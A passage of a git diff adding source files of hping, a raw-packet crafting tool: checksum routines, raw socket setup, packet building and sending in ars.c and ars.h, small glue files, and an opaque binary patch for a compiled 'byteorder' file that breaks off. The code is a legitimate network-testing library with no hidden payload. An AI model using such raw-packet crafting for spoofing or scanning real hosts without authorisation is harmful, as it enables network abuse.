ars_multi_cksum(&mc, ARS_MC_UPDATE, &pseudo, sizeof(pseudo)); + if (err != -ARS_OK) + return err; + for (j = layer; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type == ARS_TYPE_NULL) + break; + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, + pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + if (err != -ARS_OK) + return err; + } + *sum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); + return -ARS_OK; +} + +/* The tcp compiler */ +int ars_compiler_tcp(struct ars_packet *pkt, int layer) +{ + struct ars_tcphdr *tcp = pkt->p_layer[layer].l_data; + int j, err, tcpoptlen = 0; + int flags = pkt->p_layer[layer].l_flags; + + if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_HDRLEN)) { + tcp->th_off = ARS_TCPHDR_SIZE >> 2; + /* Add the len of the options */ + for (j = layer+1; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type != ARS_TYPE_TCPOPT) + break; + tcpoptlen += pkt->p_layer[j].l_size; + } + tcp->th_off += tcpoptlen >> 2; + } + if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_CKSUM)) { + tcp->th_sum = 0; + err = ars_udptcp_cksum(pkt, layer, &tcp->th_sum); + if (err != -ARS_OK) + return err; + } + return -ARS_OK; +} + +/* The tcp options compiler: do just option padding with NOP options */ +int ars_compiler_tcpopt(struct ars_packet *pkt, int layer) +{ + int j, opt_size; + + /* Padding is needed only in the last TCP option */ + if (layer != ARS_MAX_LAYER-1 && + pkt->p_layer[layer+1].l_type == ARS_TYPE_TCPOPT) + return ARS_OK; + + /* Search the layer of the relative first TCP option */ + j = layer - 1; /* We know that 'layer' is a tcp option */ + while (j < ARS_MAX_LAYER && j >= 0 && + pkt->p_layer[j].l_type == ARS_TYPE_TCPOPT) + j--; + j++; + __D(printf("First TCP OPTION layer is %d\n", j);) + opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1); + __D(printf("TCP OPTION size %d\n", opt_size);) + if (opt_size % 4) { + int padding = 4 - (opt_size % 4); + unsigned char *t; + int cur_size = pkt->p_layer[layer].l_size; + + __D(printf("TCP OPTION at layer %d needs %d bytes " + "of padding\n", layer, padding);) + t = realloc(pkt->p_layer[layer].l_data, cur_size + padding); + if (t == NULL) { + ars_set_error(pkt, "Out of memory padding TCP options"); + return -ARS_NOMEM; + } + memset(t+cur_size, ARS_TCPOPT_NOP, padding); + pkt->p_layer[layer].l_size += padding; + } + return -ARS_OK; +} + +/* The udp compiler, very simple */ +int ars_compiler_udp(struct ars_packet *pkt, int layer) +{ + struct ars_udphdr *udp = pkt->p_layer[layer].l_data; + int err; + int flags = pkt->p_layer[layer].l_flags; + + if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_LEN)) + udp->uh_ulen = htons(ars_relative_size(pkt, layer)); + + if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_CKSUM)) { + udp->uh_sum = 0; + err = ars_udptcp_cksum(pkt, layer, &udp->uh_sum); + if (err != -ARS_OK) + return err; + } + return -ARS_OK; +} + +/* The icmp compiler, just compute the checksum */ +int ars_compiler_icmp(struct ars_packet *pkt, int layer) +{ + struct ars_icmphdr *icmp = pkt->p_layer[layer].l_data; + struct mc_context mc; /* multi-buffer checksum context */ + int err, j; + int flags = pkt->p_layer[layer].l_flags; + + if (ARS_DONTTAKE(flags, ARS_TAKE_ICMP_CKSUM)) { + icmp->checksum = 0; + ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0); + for (j = layer; j < ARS_MAX_LAYER; j++) { + if (pkt->p_layer[j].l_type == ARS_TYPE_NULL) + break; + err = ars_multi_cksum(&mc, ARS_MC_UPDATE, + pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + if (err != -ARS_OK) + return err; + } + icmp->checksum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0); + } + return -ARS_OK; +} + +/* Open a raw socket, ready for IP header creation and broadcast addresses */ +int ars_open_rawsocket(struct ars_packet *pkt) +{ + int s; + const int one = 1; + + if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { + ars_set_error(pkt, "Can't open the raw socket"); + return -ARS_ERROR; + } + if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char*)&one, + sizeof(one)) == -1 || + setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&one, + sizeof(one)) == -1) + { + close(s); + ars_set_error(pkt, "Can't set socket options"); + return -ARS_ERROR; + } + return s; +} + +/* Create the packets using the layers. This function is often called + * after the layers compilation. Note that since the packet created + * is sane the strange-rawsocket-behaviour of some *BSD will not + * be able to send this packet. Use the function ars_bsd_fix() to fix it. + * WARNING: The packets returned is malloc()ated, free it */ +int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size) +{ + size_t tot_size, offset = 0; + int j = 0; + + if ((tot_size = ars_packet_size(pkt)) == 0) { + ars_set_error(pkt, "Total size 0 building the packet"); + return -ARS_INVALID; + } + if ((*packet = malloc(tot_size)) == NULL) { + ars_set_error(pkt, "Out of memory building the packet"); + return -ARS_NOMEM; + } + while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) { + memcpy((*packet)+offset, pkt->p_layer[j].l_data, + pkt->p_layer[j].l_size); + offset += pkt->p_layer[j].l_size; + j++; + } + *size = tot_size; + return -ARS_OK; +} + +/* FreeBSD and NetBSD have a strange raw socket layer :( + * Call this function anyway to increase portability + * since it does not perform any operation if the + * system isn't FreeBSD or NetBSD. */ +int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size) +{ + struct ars_iphdr *ip; + + if (pkt->p_layer[0].l_type != ARS_TYPE_IP || + size < sizeof(struct ars_iphdr)) { + ars_set_error(pkt, "BSD fix requested, but layer 0 not IP"); + return -ARS_INVALID; + } + ip = (struct ars_iphdr*) packet; +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI + ip->tot_len = ntohs(ip->tot_len); + ip->frag_off = ntohs(ip->frag_off); +#endif + return -ARS_OK; +} + +/* Set the flags for some layer: if layer == -1 the last layer will be used */ +int ars_set_flags(struct ars_packet *pkt, int layer, int flags) +{ + if (layer == ARS_LAST_LAYER) + layer = pkt->p_layer_nr - 1; + if (layer < 0 || layer >= ARS_MAX_LAYER) { + ars_set_error(pkt, "Invalid layer setting layer flags"); + return -ARS_INVALID; + } + pkt->p_layer[layer].l_flags = flags; + return -ARS_OK; +} + +/* Build, fix, and send the packet */ +int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen) +{ + struct sockaddr_in sain; + struct sockaddr *_sa = sa; + unsigned char *packet; + size_t size; + int error; + + /* Perform the socket address completion if sa == NULL */ + if (sa == NULL) { + struct ars_iphdr *ip; + + memset(&sain, 0, sizeof(sain)); + sain.sin_family = AF_INET; + /* The first layer MUST be IP if the user requested + * the socket address completion */ + if (pkt->p_layer[0].l_type != ARS_TYPE_IP) { + ars_set_error(pkt, "socket address completion" + "requested, but layer 0 isn't IP"); + return -ARS_ERROR; + } + ip = (struct ars_iphdr*) pkt->p_layer[0].l_data; + memcpy(&sain.sin_addr.s_addr, &ip->daddr, 4); + _sa = (struct sockaddr*) &sain; + slen = sizeof(sain); + } + if ((error = ars_build_packet(pkt, &packet, &size)) != ARS_OK) + return error; + if ((error = ars_bsd_fix(pkt, packet, size)) != ARS_OK) + return error; + error = sendto(s, packet, size, 0, _sa, slen); + free(packet); + return (error != -1) ? -ARS_OK : -ARS_ERROR; +} + +/* Resolve an hostname and write to 'dest' the IP */ +int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname) +{ + struct sockaddr_in sa; + + if (inet_aton(hostname, &sa.sin_addr) == 0) { + struct hostent *he; + he = gethostbyname(hostname); + if (he == NULL) { + ars_set_error(pkt, "Can't resolve the hostname"); + return -ARS_ERROR; + } + sa.sin_addr.s_addr = ((struct in_addr*) he->h_addr)->s_addr; + } + memcpy(dest, &sa.sin_addr.s_addr, sizeof(u_int32_t)); + return -ARS_OK; +} diff --git a/ars.h b/ars.h new file mode 100644 index 0000000..4e32f05 --- /dev/null +++ b/ars.h @@ -0,0 +1,450 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo + * See the LICENSE file for more information. */ + +/* $Id: ars.h,v 1.3 2003/07/28 09:00:55 njombart Exp $ */ + +#ifndef _ARS_H +#define _ARS_H + +/* define before including sys/socket.h */ +#if defined(__APPLE__) +#define _BSD_SOCKLEN_T_ int +#endif + +#include +#include +#include "systype.h" +#include "in.h" +#include "bytesex.h" + +#ifndef TRUE +#define TRUE 1 +#define FALSE 0 +#endif + + +#ifndef MIN +#define MIN(x,y) ((x)<(y)?(x):(y)) +#endif + +#ifndef MAX +#define MAX(x,y) ((x)>(y)?(x):(y)) +#endif + +#ifdef DEBUG +#define __D(x) x +#else +#define __D(x) do { } while (0); +#endif + +#ifndef __u8 +#define __u8 u_int8_t +#define __u16 u_int16_t +#define __u32 u_int32_t +#endif + +/* error codes */ +#define ARS_OK 0 +#define ARS_ERROR 1 +#define ARS_NOSPACE 2 +#define ARS_NOMEM 3 +#define ARS_INVALID 4 + +/* Headers size */ +#define ARS_ICMPHDR_SIZE sizeof(struct ars_icmphdr) +#define ARS_UDPHDR_SIZE sizeof(struct ars_udphdr) +#define ARS_TCPHDR_SIZE sizeof(struct ars_tcphdr) +#define ARS_IPHDR_SIZE sizeof(struct ars_iphdr) +#define ARS_PSEUDOHDR_SIZE sizeof(struct pseudohdr) + +/* IP defines */ +#define ARS_MAX_IP_SIZE 65535 + +#define ARS_IP_MF ((unsigned short)0x2000) /* more fragments */ +#define ARS_IP_DF ((unsigned short)0x4000) /* dont fragment */ +#define ARS_IP_RF ((unsigned short)0x8000) /* reserved fragment flag */ + +#define ARS_IPOPT_COPY 0x80 +#define ARS_IPOPT_CLASS_MASK 0x60 +#define ARS_IPOPT_NUMBER_MASK 0x1f + +#define ARS_IPOPT_COPIED(o) ((o)&ARS_IPOPT_COPY) +#define ARS_IPOPT_CLASS(o) ((o)&ARS_IPOPT_CLASS_MASK) +#define ARS_IPOPT_NUMBER(o) ((o)&ARS_IPOPT_NUMBER_MASK) + +#define ARS_IPOPT_CONTROL 0x00 +#define ARS_IPOPT_RESERVED1 0x20 +#define ARS_IPOPT_MEASUREMENT 0x40 +#define ARS_IPOPT_RESERVED2 0x60 + +#define ARS_IPOPT_END (0 |ARS_IPOPT_CONTROL) +#define ARS_IPOPT_NOOP (1 |ARS_IPOPT_CONTROL) +#define ARS_IPOPT_SEC (2 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_LSRR (3 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_TIMESTAMP (4 |ARS_IPOPT_MEASUREMENT) +#define ARS_IPOPT_RR (7 |ARS_IPOPT_CONTROL) +#define ARS_IPOPT_SID (8 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_SSRR (9 |ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) +#define ARS_IPOPT_RA (20|ARS_IPOPT_CONTROL|ARS_IPOPT_COPY) + +#define ARS_IPOPT_OPTVAL 0 +#define ARS_IPOPT_OLEN 1 +#define ARS_IPOPT_OFFSET 2 +#define ARS_IPOPT_MINOFF 4 +#define ARS_MAX_IPOPTLEN 40 +#define ARS_IPOPT_NOP ARS_IPOPT_NOOP +#define ARS_IPOPT_EOL ARS_IPOPT_END +#define ARS_IPOPT_TS ARS_IPOPT_TIMESTAMP + +#define ARS_IPOPT_TS_TSONLY 0 /* timestamps only */ +#define ARS_IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */ +#define ARS_IPOPT_TS_PRESPEC 3 /* specified modules only */ + +/* IPV4 and IPV6 string rappresentation len */ +#define ARS_INET_ADDRSTRLEN 16 +#define ARS_INET6_ADDRSTRLEN 46 + +/* TCP */ +#define ARS_TCPOPT_EOL 0 +#define ARS_TCPOPT_NOP 1 +#define ARS_TCPOPT_MAXSEG 2 +#define ARS_TCPOPT_WINDOW 3 +#define ARS_TCPOPT_SACK_PERM 4 +#define ARS_TCPOPT_SACK 5 +#define ARS_TCPOPT_ECHOREQUEST 6 +#define ARS_TCPOPT_ECHOREPLY 7 +#define ARS_TCPOPT_TIMESTAMP 8 + +#define ARS_TCP_TH_FIN 0x01 +#define ARS_TCP_TH_SYN 0x02 +#define ARS_TCP_TH_RST 0x04 +#define ARS_TCP_TH_PUSH 0x08 +#define ARS_TCP_TH_ACK 0x10 +#define ARS_TCP_TH_URG 0x20 +#define ARS_TCP_TH_X 0x40 /* X tcp flag */ +#define ARS_TCP_TH_Y 0x80 /* Y tcp flag */ + +/* ICMP TYPE */ +#define ARS_ICMP_ECHOREPLY 0 /* Echo Reply */ +#define ARS_ICMP_DEST_UNREACH 3 /* Destination Unreachable */ +#define ARS_ICMP_SOURCE_QUENCH 4 /* Source Quench */ +#define ARS_ICMP_REDIRECT 5 /* Redirect (change route) */ +#define ARS_ICMP_ECHO 8 /* Echo Request */ +#define ARS_ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ +#define ARS_ICMP_PARAMETERPROB 12 /* Parameter Problem */ +#define ARS_ICMP_TIMESTAMP 13 /* Timestamp Request */ +#define ARS_ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ +#define ARS_ICMP_INFO_REQUEST 15 /* Information Request */ +#define ARS_ICMP_INFO_REPLY 16 /* Information Reply */ +#define ARS_ICMP_ADDRESS 17 /* Address Mask Request */ +#define ARS_ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ + +/* Codes for UNREACHABLE */ +#define ARS_ICMP_UNR_NET 0 /* Network Unreachable */ +#define ARS_ICMP_UNR_HOST 1 /* Host Unreachable */ +#define ARS_ICMP_UNR_PROT 2 /* Protocol Unreachable */ +#define ARS_ICMP_UNR_PORT 3 /* Port Unreachable */ +#define ARS_ICMP_UNR_FRAG_NEEDED 4 /* Fragmentation Needed,DF set*/ +#define ARS_ICMP_UNR_SR_FAILED 5 /* Source Route failed */ +#define ARS_ICMP_UNR_UNK_NET 6 +#define ARS_ICMP_UNR_UNK_HOST 7 +#define ARS_ICMP_UNR_ISOLATED_HOST 8 +#define ARS_ICMP_UNR_NET_ANO 9 +#define ARS_ICMP_UNR_HOST_ANO 10 +#define ARS_ICMP_UNR_NET_UNR_TOS 11 +#define ARS_ICMP_UNR_HOST_UNR_TOS 12 +#define ARS_ICMP_UNR_PKT_FILTERED 13 /* Packet filtered */ +#define ARS_ICMP_UNR_PREC_VIOLATION 14 /* Precedence violation */ +#define ARS_ICMP_UNR_PREC_CUTOFF 15 /* Precedence cut off */ +#define ARS_NR_ICMP_UNREACH 15 /* Instead of hardcoded immediate value */ + +/* Codes for REDIRECT */ +#define ARS_ICMP_REDIR_NET 0 /* Redirect Net */ +#define ARS_ICMP_REDIR_HOST 1 /* Redirect Host */ +#define ARS_ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ +#define ARS_ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ + +/* Codes for TIME_EXCEEDED */ +#define ARS_ICMP_EXC_TTL 0 /* TTL count exceeded */ +#define ARS_ICMP_EXC_FRAGTIME 1 /* TTL exceeded reassembling */ + +/* The IP header structure */ +struct ars_iphdr { +#if defined(BYTE_ORDER_LITTLE_ENDIAN) + __u8 ihl:4, + version:4; +#elif defined (BYTE_ORDER_BIG_ENDIAN) + __u8 version:4, + ihl:4; +#else +#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN" +#endif + __u8 tos; + __u16 tot_len; + __u16 id; + __u16 frag_off; + __u8 ttl; + __u8 protocol; + __u16 check; + __u32 saddr; + __u32 daddr; +}; + +/* The IP options structure */ +struct ars_ipopt { + u_int8_t kind; + u_int8_t len; + union { + struct { + u_int16_t s; + u_int16_t c; + u_int16_t h; + u_int8_t tcc[3]; + } sec; /* security */ + struct { + u_int8_t ptr; + u_int8_t data[37]; + } src; /* loose and strinct source routing */ + struct { + u_int8_t ptr; + u_int8_t data[37]; + } rr; /* record route */ + struct { + u_int16_t id; + } sid; /* stream id */ + struct { + u_int8_t ptr; + u_int8_t flags; + u_int8_t data[36]; + } tstamp; /* timestamp */ + } un; +}; + +/* The UDP header structure */ +struct ars_udphdr { + __u16 uh_sport; /* source port */ + __u16 uh_dport; /* destination port */ + __u16 uh_ulen; /* udp length */ + __u16 uh_sum; /* udp checksum */ +}; + +/* The TCP header structure */ +struct ars_tcphdr { + __u16 th_sport; /* source port */ + __u16 th_dport; /* destination port */ + __u32 th_seq; /* sequence number */ + __u32 th_ack; /* acknowledgement number */ +#if defined (BYTE_ORDER_LITTLE_ENDIAN) + __u8 th_x2:4, /* (unused) */ + th_off:4; /* data offset */ +#elif defined (BYTE_ORDER_BIG_ENDIAN) + __u8 th_off:4, /* data offset */ + th_x2:4; /* (unused) */ +#else +#error "Please, edit Makefile and add -DBYTE_ORDER_(BIG|LITTLE)_ENDIAN" +#endif + __u8 th_flags; + __u16 th_win; /* window */ + __u16 th_sum; /* checksum */ + __u16 th_urp; /* urgent pointer */ +}; + +/* The TCP options structure */ +struct ars_tcpopt { + u_int8_t kind; + u_int8_t len; + union { + struct { + u_int16_t size; + } mss; + struct { + u_int8_t shift; + } win; + struct { + u_int16_t origin; + u_int16_t size; + } sack[10]; /* 10 SACK blocks in 44 bytes of space */ + struct { + u_int8_t info[4]; + } echo; + struct { + u_int8_t tsval[4]; + u_int8_t tsecr[4]; + } timestamp; + } un; +}; + +/* The ICMP header structure */ +struct ars_icmphdr +{ + __u8 type; + __u8 code; + __u16 checksum; + union + { + struct + { + __u16 id; + __u16 sequence; + } echo; /* called echo since it's the most used */ + __u32 gateway; + } un; +}; + +/* TCP/UDP pseudo header used to compute the checksum */ +struct ars_pseudohdr +{ + __u32 saddr; + __u32 daddr; + __u8 zero; + __u8 protocol; + __u16 lenght; +}; + +struct ars_packet; /* forward declaration */ + +/* ARS layer */ +struct ars_layer { + int l_type; + int l_size; + int l_flags; + void *l_data; + struct ars_packet *l_packet; +}; + +#define ARS_MAX_LAYER 16 + +/* Types */ +#define ARS_TYPE_SIZE 32 +#define ARS_TYPE_NULL 0 +#define ARS_TYPE_IP 1 +#define ARS_TYPE_IPOPT 2 +#define ARS_TYPE_ICMP 3 +#define ARS_TYPE_UDP 4 +#define ARS_TYPE_TCP 5 +#define ARS_TYPE_TCPOPT 6 +#define ARS_TYPE_DATA 31 + +/* ARS packet context */ +struct ars_packet { + char *p_error; + int p_layer_nr; + struct ars_layer p_layer[ARS_MAX_LAYER]; + void *p_default[ARS_TYPE_SIZE]; + int aux; /* Auxiliar variable for data exchange between functions */ +}; + +/* Facility to check for flags */ +#define ARS_TAKE(f,x) (f & x) +#define ARS_DONTTAKE(f, x) (!(f & x)) +#define ARS_TAKE_NONE 0 + +/* IP layer flags */ +#define ARS_TAKE_IP_VERSION (1 << 0) +#define ARS_TAKE_IP_HDRLEN (1 << 1) +#define ARS_TAKE_IP_TOTLEN (1 << 2) +#define ARS_TAKE_IP_PROTOCOL (1 << 3) +#define ARS_TAKE_IP_CKSUM (1 << 4) + +/* ICMP layer flags */ +#define ARS_TAKE_ICMP_CKSUM (1 << 0) + +/* UDP layer flags */ +#define ARS_TAKE_UDP_CKSUM (1 << 0) +#define ARS_TAKE_UDP_LEN (1 << 1) + +/* TCP layer flags */ +#define ARS_TAKE_TCP_HDRLEN (1 << 0) +#define ARS_TAKE_TCP_CKSUM (1 << 1) + +/* Some function that acts on layer switch to the last layer with this */ +#define ARS_LAST_LAYER -1 + +/* Structure and defines needed to calculate the internet-like checksum + * when the data is splitted in more not adjacent buffers */ +#define ARS_MC_INIT 0 +#define ARS_MC_UPDATE 1 +#define ARS_MC_FINAL 2 + +struct mc_context { + u_int32_t oddbyte_flag; + u_int32_t old; + u_int8_t oddbyte; + u_int8_t pad; +}; + +/* ARS layer info structure */ +struct ars_layer_info { + char *li_name; /* NULL = unused slot */ + int (*li_compiler) (struct ars_packet *pkt, int layer); /* NULL = NOP */ + int layer_id; +}; + +/* ARS layer info table */ +struct ars_layer_info ars_linfo[ARS_TYPE_SIZE]; + +/* ARS interface managment structure and defines */ +#define ARS_IF_UP (1 << 0) +#define ARS_IF_LOOP (1 << 1) +#define ARS_IF_IPV4 (1 << 2) +#define ARS_IF_IPV6 (1 << 3) +#define ARS_IF_MISCONF (1 << 4) + +#define ARS_IF_MAX_IFACE 16 +#define ARS_IF_NAME_SIZE 32 + +/* iface type are obtained using libpcap to avoid efforts duplication */ +struct ars_iface { + char if_name[ARS_IF_NAME_SIZE]; + int if_mtu; + int if_flags; + char if_ipv4addr[ARS_INET_ADDRSTRLEN]; + char if_ipv6addr[ARS_INET6_ADDRSTRLEN]; +}; + +/* Flags for packet splitting */ +#define ARS_SPLIT_FTRUNC (1 << 0) +#define ARS_SPLIT_FBADCKSUM (1 << 1) + +/* More macros */ +#define ars_atou(x) strtoul(x, (char **) NULL, 0) + +/* Prototypes */ +int ars_init(struct ars_packet *pkt); +int ars_destroy(struct ars_packet *pkt); +int ars_nospace(struct ars_packet *pkt); +int ars_add_generic(struct ars_packet *pkt, size_t size, int type); +void *ars_add_iphdr(struct ars_packet *pkt, int unused); +void *ars_add_ipopt(struct ars_packet *pkt, int option); +void *ars_add_udphdr(struct ars_packet *pkt, int unused); +void *ars_add_tcphdr(struct ars_packet *pkt, int unused); +void *ars_add_tcpopt(struct ars_packet *pkt, int option); +void *ars_add_icmphdr(struct ars_packet *pkt, int unused); +void *ars_add_data(struct ars_packet *pkt, int size); +size_t ars_relative_size(struct ars_packet *pkt, int layer_nr); +size_t ars_packet_size(struct ars_packet *pkt); +u_int16_t ars_cksum(void *vbuf, size_t nbytes); +u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf, size_t nbytes); +int ars_compile(struct ars_packet *pkt); +int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum); +int ars_open_rawsocket(struct ars_packet *pkt); +int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size); +int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size); +int ars_set_flags(struct ars_packet *pkt, int layer, int flags); +int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen); +int ars_resolve(struct ars_packet *pkt, u_int32_t *dest, char *hostname); +int ars_set_error(struct ars_packet *pkt, char *error); +int ars_d_build(struct ars_packet *pkt, char *t); +int ars_valid_layer(int layer); +int ars_get_iface_list(struct ars_iface *iface, size_t *isize); +int ars_get_iface(char *name, struct ars_iface *i); +int ars_valid_layer(int layer); +int ars_remove_layer(struct ars_packet *pkt, int layer); + +/* split.c prototypes */ +int ars_seems_ip(struct ars_iphdr *ip, size_t size); +int ars_guess_ipoff(void *packet, size_t size, int *lhs); +int ars_check_ip_cksum(struct ars_iphdr *ip); +int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size); +int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt); +#endif /* _ARS_H */ diff --git a/arsglue.c b/arsglue.c new file mode 100644 index 0000000..f7e89d6 --- /dev/null +++ b/arsglue.c @@ -0,0 +1,32 @@ +/* Glue between hping and the ars engine */ + +#include +#include +#include "ars.h" + +/* Send the APD described packet {s} */ +void hping_ars_send(char *apd) +{ + struct ars_packet p; + int s; + + ars_init(&p); + s = ars_open_rawsocket(&p); + if (s == -ARS_ERROR) { + perror("Opening raw socket"); + exit(1); + } + if (ars_d_build(&p, apd) != -ARS_OK) { + fprintf(stderr, "APD error: %s\n", p.p_error); + exit(1); + } + if (ars_compile(&p) != -ARS_OK) { + fprintf(stderr, "APD error compiling: %s\n", p.p_error); + exit(1); + } + if (ars_send(s, &p, NULL, 0) != -ARS_OK) { + perror("Sending the packet"); + exit(1); + } + exit(0); +} diff --git a/binding.c b/binding.c new file mode 100644 index 0000000..8bfc1f0 --- /dev/null +++ b/binding.c @@ -0,0 +1,55 @@ +/* + * $smu-mark$ + * $name: binding.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:46 MET 1999$ + * $rev: 11$ + */ + +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void inc_destparm(int sid) +{ + static long sec = 0; + static long usec = 0; + int *p; + int errno_save = errno; + + switch (ctrlzbind) { + case BIND_DPORT: + p = &dst_port; + break; + case BIND_TTL: + p = &src_ttl; + break; + default: + printf("error binding ctrl+z\n"); + /* errno = errno_save; */ + return; + } + + if ( (time(NULL) == sec) && ((get_usec() - usec) < 200000) ) { + if (*p > 0) + (*p)-=2; + if (*p < 0) + *p=0; + } else + (*p)++; + + printf("\b\b\b\b\b\b\b\b\b"); + printf("%d: ", *p); + fflush(stdout); + + sec = time(NULL); + usec = get_usec(); + signal(SIGTSTP, inc_destparm); + errno = errno_save; +} diff --git a/byteorder b/byteorder new file mode 100644 index 0000000000000000000000000000000000000000..e8b345ea5d27a7bdd9e724ea5897c47f90c32677 GIT binary patch literal 8480 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 